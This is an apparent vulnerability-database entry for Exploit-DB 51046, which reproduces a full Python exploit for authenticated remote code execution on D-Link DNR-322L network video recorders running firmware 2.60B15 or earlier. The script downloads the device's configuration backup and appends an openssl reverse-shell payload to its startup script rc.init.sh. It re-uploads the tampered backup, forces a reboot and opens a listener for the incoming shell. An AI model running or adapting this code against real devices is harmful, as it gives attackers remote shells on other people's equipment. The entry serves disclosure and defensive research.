ID

VAR-E-202303-0355


EDB ID

51046


TITLE

D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution - Hardware remote Exploit

Trust: 1.0

sources: EXPLOIT-DB: 51046

DESCRIPTION

D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution.. remote exploit for Hardware platform

Trust: 1.0

sources: EXPLOIT-DB: 51046

AFFECTED PRODUCTS

vendor:d linkmodel:dnr-322l <=2.60b15scope: - version: -

Trust: 1.0

vendor:d linkmodel:dnr-322l 2.60b15scope: - version: -

Trust: 0.5

sources: PACKETSTORM: 171480 // EXPLOIT-DB: 51046

EXPLOIT

# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10

"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots.

# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
-h, --help show this help message and exit
-U USERNAME, --username USERNAME
Username, ex: admin
-P PASSWORD, --password PASSWORD
Password for the specified user
-t TARGET, --target TARGET
IP of the target, ex: 192.168.99.99
-l LHOST, --lhost LHOST
IP for the reverse shell to connect back to, ex: 123.123.123.123
-p LPORT, --lport LPORT
Port for the reverse shell to connect back to, ex: 8443
"""

import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address

args = argparse.ArgumentParser()

args.add_argument(
"-U",
"--username",
type=str,
required=True,
dest="username",
help="Username, ex: admin",
)

args.add_argument(
"-P",
"--password",
type=str,
required=False,
dest="password",
help="Password for the specified user",
)

args.add_argument(
"-t",
"--target",
type=str,
required=True,
dest="target",
help="IP of the target, ex: 192.168.99.99",
)

args.add_argument(
"-l",
"--lhost",
type=str,
required=True,
dest="lhost",
help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)

args.add_argument(
"-p",
"--lport",
type=int,
required=True,
dest="lport",
help="Port for the reverse shell to connect back to, ex: 8443",
)

args = args.parse_args()

# base64 + url encode string
# returns string
def b64_url_encode(data):
enc = data.encode("utf-8")
encB = base64.b64encode(enc)
encUrl = urllib.parse.quote(str(encB, "utf-8"))
return encUrl

# since user input is always unsafe, test IPs
try:
ip_address(args.target)
except Exception:
print("[!] Target IP is not a valid IP address")
exit(1)
try:
ip_address(args.lhost)
except Exception:
print("[!] Reverse shell IP is not a valid IP address")
exit(1)

# check if target is online
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
# hardcoded http, change if needed
s.connect((args.target, 80))
s.close()
except Exception:
print("[!] Target is not online")
exit(1)
print("[+] Target is online")

# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"

session = requests.Session()

# if password is empty supply dont supply anything
if not args.password:
authBody = (
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
+ args.username
+ "&pwd=&ssl_port=443&f_login_type=0&f_url="
)
else:
authBody = (
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
+ args.username
+ "&pwd="
+ b64_url_encode(args.password)
+ "&ssl_port=443&f_login_type=0&f_url="
)

try:
# login
reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
# check if successful
reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)

if "success" in reqCheck.text:
print("[+] Login successful")
else:
print("[!] Error during login, check credentials")
exit(1)
except Exception as error:
print(error)
print("[!] Error during login, check credentials")
exit(1)

# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
os.remove("backup_clean")

# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"

try:
reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
print(error)
print("[!] Error while downloading backup")
exit(1)

# saving to disk
try:
f = open("backup_clean", "wb")
f.write(reqBackup.content)
f.close()

if not os.path.exists("backup_clean"):
print("[!] Error while saving backup")
exit(1)
except Exception as error:
print(error)
print("[!] Error while saving backup")
exit(1)
print("[+] Download successful")

# unpack backup (tar.gz file)
try:
config = tarfile.open("backup_clean")
config.extractall()
config.close()
except Exception as error:
print(error)
print("[!] Error while unpacking backup")
exit(1)

# inject stuff into startup script
try:
bashscript = open("backup/rc.init.sh", "a")
# revshell with openssl
payload = (
"\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"
% (args.lhost, args.lport)
)
bashscript.write(payload)
# also start a telnet deamon (has same passwd as web)
# bashscript.write("utelnetd -d")
bashscript.close()
except Exception as error:
print(error)
print("[!] Error while creating malicious backup")
exit(1)
print("[+] Created malicious backup")

# re pack file
try:
configInj = tarfile.open("backup_injected", "w:gz")
configInj.add("backup")
configInj.close()
# remove unpacked folder
shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
print(error)
print("[!] Error while re-packing malicious backup")
exit(1)

# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}

configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")

uploadBody = (
'------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'
+ tardata
+ "\r\n------WebKitFormBoundaryhellothere--\r\n"
)

reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)

if "web/dsk_mgr/wait.html" in reqUpload.text:
print("[+] Upload successful, target will reboot now")
else:
print("[!] Error while uploading malicious backup")
exit(1)

# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))

# generate the cert and the key for the openssl listener
os.system(
'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
% (randInt, randInt)
)
# create an openssl listener
os.system(
"openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
% (randInt, randInt, args.lport)
)

exit(0)

Trust: 1.0

sources: EXPLOIT-DB: 51046

EXPLOIT LANGUAGE

txt

Trust: 1.0

sources: EXPLOIT-DB: 51046

PRICE

free

Trust: 1.0

sources: EXPLOIT-DB: 51046

TYPE

Authenticated Remote Code Execution

Trust: 1.0

sources: EXPLOIT-DB: 51046

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:code execution

Trust: 0.5

sources: PACKETSTORM: 171480

CREDITS

luka

Trust: 1.0

sources: EXPLOIT-DB: 51046

EXTERNAL IDS

db:DLINKid:SAP10305

Trust: 1.5

db:EXPLOIT-DBid:51046

Trust: 1.0

db:PACKETSTORMid:171480

Trust: 0.5

sources: PACKETSTORM: 171480 // EXPLOIT-DB: 51046

SOURCES

db:PACKETSTORMid:171480
db:EXPLOIT-DBid:51046

LAST UPDATE DATE

2023-12-13T13:36:54.506000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:171480date:2023-03-27T14:02:45
db:EXPLOIT-DBid:51046date:2023-03-25T00:00:00